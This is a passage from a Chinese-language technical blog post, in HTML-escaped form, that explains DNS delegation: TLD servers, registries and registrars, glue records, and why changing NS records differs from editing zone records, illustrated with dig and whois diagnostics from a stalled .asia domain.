&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;blog.user.example.com&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;四级域名&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;更下一级&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;两个易混点：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;com.cn&lt;&#x2F;code&gt; 不是顶级域名&lt;&#x2F;strong&gt;。它是 &lt;code&gt;.cn&lt;&#x2F;code&gt; 下的一个二级域，但注册局（CNNIC）把它作为独立注册类别开放，所以能注册 &lt;code&gt;example.com.cn&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;hb.cn&lt;&#x2F;code&gt; 的结构是「二级.顶级」，和 &lt;code&gt;baidu.com&lt;&#x2F;code&gt; 同构——&lt;code&gt;hb&lt;&#x2F;code&gt; 是二级域名，&lt;code&gt;cn&lt;&#x2F;code&gt; 是顶级域名。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;DNS 命名空间是一棵倒树，&lt;strong&gt;每一层是一个「区」（zone），每层区由一组专门的权威服务器负责，只存下一层的「指路牌」&lt;&#x2F;strong&gt;。这张表贯穿全文：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: left&quot;&gt;层级&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;谁运营&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;存什么&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;本文实测中的例子&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;根区 &lt;code&gt;.&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;13 个身份（a–m.root-servers.net），anycast&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;每个 TLD 的服务器在哪&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;198.41.0.4&lt;&#x2F;code&gt;（a.root）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;TLD 区 &lt;code&gt;.asia&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;strong&gt;注册局&lt;&#x2F;strong&gt;（.asia 由 Identity Digital&#x2F;Afilias 运营）&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;该 TLD 下每个域名的 NS 委派&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;a0&#x2F;b2.asia.afilias-nst.*&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;你的区 &lt;code&gt;demo.asia&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;你选的 DNS 服务商（现在是 Cloudflare）&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;你配的真实记录（A&#x2F;CNAME&#x2F;MX&#x2F;TXT）&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;aaa&#x2F;bbb.ns.cloudflare.com&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;san-tld-fu-wu-qi-ding-ji-yu-ming-de-tong-xun-lu&quot;&gt;三、TLD 服务器：顶级域名的&quot;通讯录&quot;&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;3-1-ta-cun-shen-me&quot;&gt;3.1 它存什么？&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;只存委派（NS 记录），不存 A 记录。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;NS 记录&lt;&#x2F;strong&gt;：告诉递归解析器&quot;这个域名的权威服务器是谁&quot;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;A 记录&lt;&#x2F;strong&gt;：具体 IP，存在权威服务器的区数据里，TLD 一概不管。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;3-2-zhu-ce-ju-vs-zhu-ce-shang&quot;&gt;3.2 注册局 vs 注册商&lt;&#x2F;h3&gt;
&lt;p&gt;这一对角色经常被混为一谈：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;注册局&lt;&#x2F;strong&gt;（Registry）：运营 TLD 区文件、跑 TLD 服务器。&lt;code&gt;.asia&lt;&#x2F;code&gt; 的注册局是 Identity Digital（前身 Afilias），TLD 服务器实测为 &lt;code&gt;a0&#x2F;b2.asia.afilias-nst.{info,org,asia}&lt;&#x2F;code&gt; 六台。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;注册商&lt;&#x2F;strong&gt;（Registrar，如阿里云）：卖你域名，把你的 NS、联系人等信息经 EPP 协议提交给注册局，写进 TLD 区。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;所以「改 NS」本质上是：&lt;strong&gt;改 &lt;code&gt;.asia&lt;&#x2F;code&gt; 顶级区文件里，属于你域名的那条委派记录&lt;&#x2F;strong&gt;。入口在域名注册商控制台，而不是云解析控制台。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-3-jie-xi-liu-cheng-referral-zhu-ji-yin-jian&quot;&gt;3.3 解析流程（referral 逐级引荐）&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;用户输入 blog.example.com
        ↓
递归解析器问根：example.com 谁管？ → 根：&amp;quot;.com 由这些 TLD 服务器管&amp;quot;（referral）
        ↓
问 .com TLD：example.com 谁管？ → TLD：&amp;quot;NS 指向 xxx.xxx.com&amp;quot;（referral）
        ↓
问该权威服务器：blog.example.com 的 A？ → 权威：&amp;quot;x.x.x.x&amp;quot;（权威应答）
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;一句话总结：TLD 服务器不存 IP，只存&quot;去问谁&quot;。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;客户端 → 本地递归解析器（如 223.5.5.5）这一段叫&lt;strong&gt;递归&lt;&#x2F;strong&gt;（resolver 替你跑全程）；resolver → 根 → TLD → 权威那一段实际是&lt;strong&gt;迭代&lt;&#x2F;strong&gt;（resolver 逐级问、逐级拿指路牌）。教科书把两者画成一条链，容易让人以为是同一过程。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;si-shi-ce-yi-ci-jie-xi-qia-zai-liao-na-yi-bu&quot;&gt;四、实测：一次解析卡在了哪一步&lt;&#x2F;h2&gt;
&lt;p&gt;新域名 NS 切到 Cloudflare 后，&lt;code&gt;dig&lt;&#x2F;code&gt; 验证结果：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;console&quot; class=&quot;language-console &quot;&gt;&lt;code class=&quot;language-console&quot; data-lang=&quot;console&quot;&gt;$ dig NS demo.asia +short          # 全网视角：空
$ dig SOA demo.asia @aaa.ns.cloudflare.com   # 直接问 Cloudflare：有答案！
aaa.ns.cloudflare.com. dns.cloudflare.com. 2417099281 10000 2400 604800 1800
$ dig NS demo.asia @b2.asia.afilias-nst.org  # 直接问 .asia TLD
;; ANSWER: 0, AUTHORITY: 1 (只有 .asia 的 SOA，没有本域的 NS)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;三个观察拼出完整结论：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Cloudflare 侧已就绪&lt;&#x2F;strong&gt;——直接指定它的 NS 查询，能返回权威 SOA（&lt;code&gt;aa&lt;&#x2F;code&gt; 标志）。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;TLD 侧委派未发布&lt;&#x2F;strong&gt;——问 &lt;code&gt;.asia&lt;&#x2F;code&gt; 的服务器，返回空答案 + 顶层 SOA，即&quot;这个域名在 &lt;code&gt;.asia&lt;&#x2F;code&gt; 区里不存在&quot;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;原因在 whois&lt;&#x2F;strong&gt;：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;console&quot; class=&quot;language-console &quot;&gt;&lt;code class=&quot;language-console&quot; data-lang=&quot;console&quot;&gt;$ whois demo.asia | grep -i status
Domain Status: serverHold https:&amp;#x2F;&amp;#x2F;icann.org&amp;#x2F;epp#serverHold
Domain Status: addPeriod https:&amp;#x2F;&amp;#x2F;icann.org&amp;#x2F;epp#addPeriod
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;addPeriod&lt;&#x2F;code&gt; 是新注册的缓冲期；&lt;code&gt;serverHold&lt;&#x2F;code&gt; 表示&lt;strong&gt;注册局拒绝把该域名发布进 TLD 区&lt;&#x2F;strong&gt;——通常是实名审核未通过。这就是为什么注册商侧 NS 显示已改、Cloudflare zone 已激活，但全网解析就是不通：&lt;strong&gt;委派链条在第 2 步（TLD）断了，查询根本走不到第 3 步（Cloudflare）&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;serverHold&lt;&#x2F;code&gt; 解除后委派立即写入 &lt;code&gt;.asia&lt;&#x2F;code&gt; 区，解析即刻走通，Cloudflare 侧无需任何操作。唯一的小延迟是 &lt;code&gt;.asia&lt;&#x2F;code&gt; 负缓存（查不到的 NXDOMAIN&#x2F;NODATA 结论会被缓存，本例 SOA TTL 3600 秒），通常几分钟到一小时全网可见。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;顺带纠正一个流行说法&lt;&#x2F;strong&gt;：「改 NS 要 24-48 小时生效」针对的是&lt;strong&gt;老域名换 NS、旧委派已被缓存&lt;&#x2F;strong&gt;的场景。新域名没有旧缓存，卡住的时间完全取决于审核（serverHold），跟&quot;全球缓存刷新&quot;无关。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;wu-ji-sheng-dan-wen-ti-ns-shi-yu-ming-ta-zi-ji-zen-me-jie-xi&quot;&gt;五、鸡生蛋问题：NS 是域名，它自己怎么解析？&lt;&#x2F;h2&gt;
&lt;p&gt;NS 填的是 &lt;code&gt;aaa.ns.cloudflare.com&lt;&#x2F;code&gt; 这样的&lt;strong&gt;域名&lt;&#x2F;strong&gt;。解析它得先拿到 IP，而拿 IP 似乎又要先完成域名解析——这不是死循环吗？&lt;&#x2F;p&gt;
&lt;p&gt;DNS 用两道保险解开，各自覆盖一种情况。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;5-1-bao-xian-yi-ns-zhu-ji-ming-zai-bie-ren-jia-shi-shi-yi-tiao-du-li-qie-you-xian-de-duan-lian&quot;&gt;5.1 保险一：NS 主机名在&quot;别人家&quot;时，是一条独立且有限的短链&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;aaa.ns.cloudflare.com&lt;&#x2F;code&gt; 位于 &lt;strong&gt;&lt;code&gt;.com&lt;&#x2F;code&gt; 分支&lt;&#x2F;strong&gt;，解析它与 &lt;code&gt;demo.asia&lt;&#x2F;code&gt; 毫无关系：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;根 → .com → cloudflare.com 区 → ns.cloudflare.com 区 → aaa 的 A 记录
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;每一步都严格&lt;strong&gt;向下&lt;&#x2F;strong&gt;走（从更靠近根的层往叶子走），从不回头引用 &lt;code&gt;demo.asia&lt;&#x2F;code&gt;，链长有限（≤4 跳）→ &lt;strong&gt;是链，不是环&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;解析器对每层结果都有长缓存（&lt;code&gt;dig&lt;&#x2F;code&gt; 输出里 &lt;code&gt;TTL 172800&lt;&#x2F;code&gt; = 2 天），这条链实际很少真走全程。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;5-2-bao-xian-er-glue-xiao-shui-ji-lu-ns-zhu-ji-ming-chang-zai-zi-jia-du-zi-li-shi&quot;&gt;5.2 保险二：glue（胶水记录）——NS 主机名长在自家肚子里时&lt;&#x2F;h3&gt;
&lt;p&gt;如果 NS 叫 &lt;code&gt;ns1.demo.asia&lt;&#x2F;code&gt;，那才是真死结：查它得先知道 &lt;code&gt;demo.asia&lt;&#x2F;code&gt; 的 NS，而 NS 就是它自己。&lt;strong&gt;权威记录&quot;存在&quot;和&quot;可达&quot;在这里分家了&lt;&#x2F;strong&gt;——A 记录确实存在于 demo.asia 区里，但查它得先连上 demo.asia 的权威服务器，而连接恰恰需要这个 IP。&lt;&#x2F;p&gt;
&lt;p&gt;解法：&lt;strong&gt;父区写委派记录时，顺带把这类主机名的 IP 直接写进响应的 ADDITIONAL 段&lt;&#x2F;strong&gt;。这就是 glue（胶水）记录。&lt;&#x2F;p&gt;
&lt;p&gt;实测根区给 &lt;code&gt;.asia&lt;&#x2F;code&gt; 的委派（&lt;code&gt;dig NS asia. @198.41.0.4&lt;&#x2F;code&gt;），其中 &lt;code&gt;d0&#x2F;b0.asia.afilias-nst.asia&lt;&#x2F;code&gt; 两个名字就长在 &lt;code&gt;.asia&lt;&#x2F;code&gt; 区内（跳不出去），根区直接附上了它们的 IP：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;console&quot; class=&quot;language-console &quot;&gt;&lt;code class=&quot;language-console&quot; data-lang=&quot;console&quot;&gt;d0.asia.afilias-nst.asia. 172800 IN A    199.254.30.1
b0.asia.afilias-nst.asia. 172800 IN AAAA 2001:500:16::1
...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;liu-glue-shi-shen-bao-zhi-tld-bu-shi-zhi-dao-shi-bei-gao-zhi&quot;&gt;六、glue 是申报制：TLD 不是&quot;知道&quot;，是&quot;被告知&quot;&lt;&#x2F;h2&gt;
&lt;p&gt;一个自然的追问：&lt;code&gt;.com&lt;&#x2F;code&gt; 顶层服务器凭什么知道 &lt;code&gt;ns3.cloudflare.com&lt;&#x2F;code&gt; 的 IP？&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;答案是它不&quot;知道&quot;，是 Cloudflare 主动申报写进 &lt;code&gt;.com&lt;&#x2F;code&gt; 区文件的。&lt;&#x2F;strong&gt; TLD 区文件里关于一个域名的数据只有两类，全都是域名所有者经注册商提交的：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: left&quot;&gt;数据&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;谁写入&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;地位&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;cloudflare.com NS ns3~ns7.cloudflare.com&lt;&#x2F;code&gt;（AUTHORITY 段）&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Cloudflare 经注册商提交（EPP 协议）&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;TLD 的本职：委派指路&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;ns3~ns7.cloudflare.com A&#x2F;AAAA&lt;&#x2F;code&gt;（ADDITIONAL 段，即 glue）&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;同样是 Cloudflare 经注册商提交&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;只是附赠的&quot;提示&quot;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;注册局从不自己&quot;发现&quot;这些 IP——它也没资格，因为 &lt;code&gt;ns3.cloudflare.com&lt;&#x2F;code&gt; 的真实答案归 cloudflare.com 区管，不归 &lt;code&gt;.com&lt;&#x2F;code&gt; 管。数据流是单向的：&lt;strong&gt;域名所有者 → 注册商 → 注册局区文件&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;6-1-dui-zhao-shi-yan-mei-shen-bao-de-yi-ge-ip-du-bu-gei&quot;&gt;6.1 对照实验：没申报的，一个 IP 都不给&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;github.com&lt;&#x2F;code&gt; 的 NS 大部分长在别人家：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;console&quot; class=&quot;language-console &quot;&gt;&lt;code class=&quot;language-console&quot; data-lang=&quot;console&quot;&gt;$ dig NS github.com @a.gtld-servers.net +noall +authority +additional
github.com.  172800 IN NS ns-520.awsdns-01.net.      ← .net，.com 管不着
github.com.  172800 IN NS ns-421.awsdns-52.com.    ← 唯一在 .com 肚子里的
github.com.  172800 IN NS dns1.p08.nsone.net.      ← .net
...
ns-421.awsdns-52.com. 172800 IN A 205.251.193.165  ← 只给这一个 IP
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;.com&lt;&#x2F;code&gt; 只给了&lt;strong&gt;一个&lt;&#x2F;strong&gt; IP——恰好是唯一长在 &lt;code&gt;.com&lt;&#x2F;code&gt; 区内的那个名字。其余一个都不给，resolver 得自己去 &lt;code&gt;.net&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;.org&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;.co.uk&lt;&#x2F;code&gt; 各自解析（保险一的独立短链）。&lt;strong&gt;一行不多、一行不少：.com 区文件里存了什么，完全取决于当初所有者申报了什么。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;6-2-glue-shi-ti-shi-bu-shi-quan-wei&quot;&gt;6.2 glue 是&quot;提示&quot;，不是&quot;权威&quot;&lt;&#x2F;h3&gt;
&lt;p&gt;直接问 &lt;code&gt;.com&lt;&#x2F;code&gt; 服务器「ns3.cloudflare.com 的 A 记录」，它拒绝正面回答：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;console&quot; class=&quot;language-console &quot;&gt;&lt;code class=&quot;language-console&quot; data-lang=&quot;console&quot;&gt;$ dig ns3.cloudflare.com A @a.gtld-servers.net
;; status: NOERROR, ANSWER: 0, AUTHORITY: 5, ADDITIONAL: 21
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;ANSWER: 0&lt;&#x2F;strong&gt;——glue 永远不出现在权威应答里，只作为 referral 的搭车数据。glue 填错不会冒充答案，只会连不上（lame delegation）。resolver 拿 glue 的 IP 去建立连接，真正的解析答案以权威服务器的应答为准（DNSSEC 下还有签名保护）。&lt;&#x2F;p&gt;
&lt;p&gt;这也解释了为什么 Cloudflare 的 NS anycast IP 几乎永不变：glue 散落在全世界各个 TLD 的区文件里，改一次 IP = 通知所有客户重新申报，所以干脆把 NS 地址做成 anycast、永久稳定。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;qi-shuang-fu-ben-tong-yi-fen-a-ji-lu-cun-zai-liang-ge-di-fang&quot;&gt;七、双副本：同一份 A 记录存在两个地方&lt;&#x2F;h2&gt;
&lt;p&gt;把上一节推到底会发现：&lt;code&gt;ns3.cloudflare.com&lt;&#x2F;code&gt; 的 A 记录&lt;strong&gt;同时存在于两个地方&lt;&#x2F;strong&gt;，角色完全不同：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;.com&lt;&#x2F;code&gt; 区里的副本（glue）&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;cloudflare.com&lt;&#x2F;code&gt; 区里的副本（权威）&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;回应方式&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;只出现在 referral 的 ADDITIONAL；正面询问 → ANSWER: 0&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;aa&lt;&#x2F;code&gt; 权威应答&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;地位&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;非权威&quot;提示&quot;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;权威&quot;真身&quot;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;唯一用途&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;帮你&lt;strong&gt;够到&lt;&#x2F;strong&gt;权威服务器&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;给出官方答案&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;谁维护&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;经注册商向注册局申报&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Cloudflare 自己的区数据&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;实测验证（②的应答 IP 与 ①的 glue 完全一致）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;console&quot; class=&quot;language-console &quot;&gt;&lt;code class=&quot;language-console&quot; data-lang=&quot;console&quot;&gt;$ dig ns3.cloudflare.com A @ns3.cloudflare.com   # 问权威服务器自己
;; flags: qr aa rd, ANSWER: 2
ns3.cloudflare.com. 86353 IN A 162.159.0.33
ns3.cloudflare.com. 86353 IN A 162.159.7.226
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这个双副本设计是刻意为之：&lt;strong&gt;每一次委派在结构上都是循环的&lt;&#x2F;strong&gt;（子区的数据在子区的服务器上，找服务器又要经过子区）。NS 记录同样是双副本——父区存委派 NS（AUTHORITY 段），子区 apex 上再存一份自己的 NS（ANSWER 段）。系统靠「父区一份非权威提示 + 子区一份权威真身」才转得起来。RFC 8499 对 glue 的定义说得很直白：它是区里的数据，但&lt;strong&gt;不是权威数据&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;ba-que-glue-hui-zen-yang-jing-que-de-shi-xiao-bian-jie&quot;&gt;八、缺 glue 会怎样：精确的失效边界&lt;&#x2F;h2&gt;
&lt;p&gt;只有 NS 主机名长在**自家 zone 内（in-bailiwick）**时，缺 glue 才致命：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;递归器拿到 referral：&amp;quot;cloudflare.com 去问 ns3.cloudflare.com&amp;quot;
  → 要连 ns3 就得先有它的 IP
  → 发起解析 ns3.cloudflare.com → 又问到 .com
  → .com：&amp;quot;ns3.cloudflare.com 由 ns3.cloudflare.com 管&amp;quot;  ← 原地打转
  → resolver 检测到 referral 环（跳数上限）→ SERVFAIL，整域瘫痪
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;三个补充：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;部分申报也能活&lt;&#x2F;strong&gt;：5 台 NS 只要有 1 台有 glue，递归器就能绕过去——这是 NS 配多台的容灾意义。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;out-of-bailiwick 无此问题&lt;&#x2F;strong&gt;：&lt;code&gt;aaa.ns.cloudflare.com&lt;&#x2F;code&gt; 之于 &lt;code&gt;demo.asia&lt;&#x2F;code&gt;，不需要 glue，缺了也不影响。&lt;&#x2F;li&gt;
&lt;li&gt;所以 EPP 协议强制：创建 in-bailiwick 主机对象&lt;strong&gt;必须带 IP&lt;&#x2F;strong&gt;。注册商控制台里「自定义 DNS Host」功能那个必填的 IP 输入框，就是这个约束的 UI——它登记的就是 glue。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;jiu-jiu-zheng-yi-ge-he-bing-wu-qu-gai-ns-gai-jie-xi-ji-lu&quot;&gt;九、纠正一个合并误区：改 NS ≠ 改解析记录&lt;&#x2F;h2&gt;
&lt;p&gt;「我通过阿里云 DNS 改记录，最后实际修改的就是顶级域名的数据，对吧？」——不对。&lt;strong&gt;这是两种修改，落点完全不同&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: left&quot;&gt;操作&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;控制台&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;实际修改的数据&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;落点&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;改 NS 服务器&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;域名注册控制台&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;该域名的&lt;strong&gt;委派记录&lt;&#x2F;strong&gt;（2 条 NS）&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;✅ 在 &lt;code&gt;.asia&lt;&#x2F;code&gt; TLD 区&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;改解析记录（A&#x2F;CNAME&#x2F;MX…）&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;云解析 DNS 控制台&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;demo.asia&lt;&#x2F;code&gt; &lt;strong&gt;区数据本身&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;❌ 不在 TLD——在权威服务商的服务器上&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;实测证据：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;console&quot; class=&quot;language-console &quot;&gt;&lt;code class=&quot;language-console&quot; data-lang=&quot;console&quot;&gt;$ dig A qq.com @b2.asia.afilias-nst.org        # 问 TLD 要二级域的 A
;; status: REFUSED                              # TLD 根本没有这种数据

$ dig A demo.asia @dns21.hichina.com            # 问阿里云旧权威
;; status: NOERROR, flags: aa, ANSWER: 0        # 旧区还完整活着（僵尸区）

$ dig A demo.asia @aaa.ns.cloudflare.com        # 问 Cloudflare 新权威
;; status: NOERROR, flags: aa, ANSWER: 0        # 新区也已就绪，还没加记录
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;解析记录&lt;strong&gt;从来不在 TLD&lt;&#x2F;strong&gt;。TLD 只存「这个域名的记录去问谁」一句指路牌；真正的 A&#x2F;MX 存在被指的那个权威服务器上。区数据跟着委派走：&lt;strong&gt;谁被委派，谁手里那份才是全网唯一生效的&lt;&#x2F;strong&gt;，另一份就是无人查询的僵尸（hichina 上那份）。&lt;&#x2F;p&gt;
&lt;p&gt;「没有开放给我修改，要通过注册商」——这句话只对 &lt;strong&gt;TLD 区数据&lt;&#x2F;strong&gt;（NS 委派、glue、DNSSEC 的 DS 记录）成立：注册局接口不对公众开放，必须经 ICANN 认证的注册商用 EPP 操作。而&lt;strong&gt;解析记录&lt;&#x2F;strong&gt;从来没在注册局那里，你在任意 DNS 服务商控制台直接增删改，不经注册商。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;实际影响&lt;&#x2F;strong&gt;：NS 切到 Cloudflare 后，旧服务商控制台里改的任何记录全网没人再查询了——生效的区在 Cloudflare，解析记录要在 Cloudflare 重新配好。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;shi-soa-ji-lu-qu-de-hu-kou-ben-shou-ye&quot;&gt;十、SOA 记录：区的&quot;户口本首页&quot;&lt;&#x2F;h2&gt;
&lt;p&gt;SOA（Start of Authority）定义一个 DNS 区域的权威信息，每个区有且仅有一条：&lt;&#x2F;p&gt;
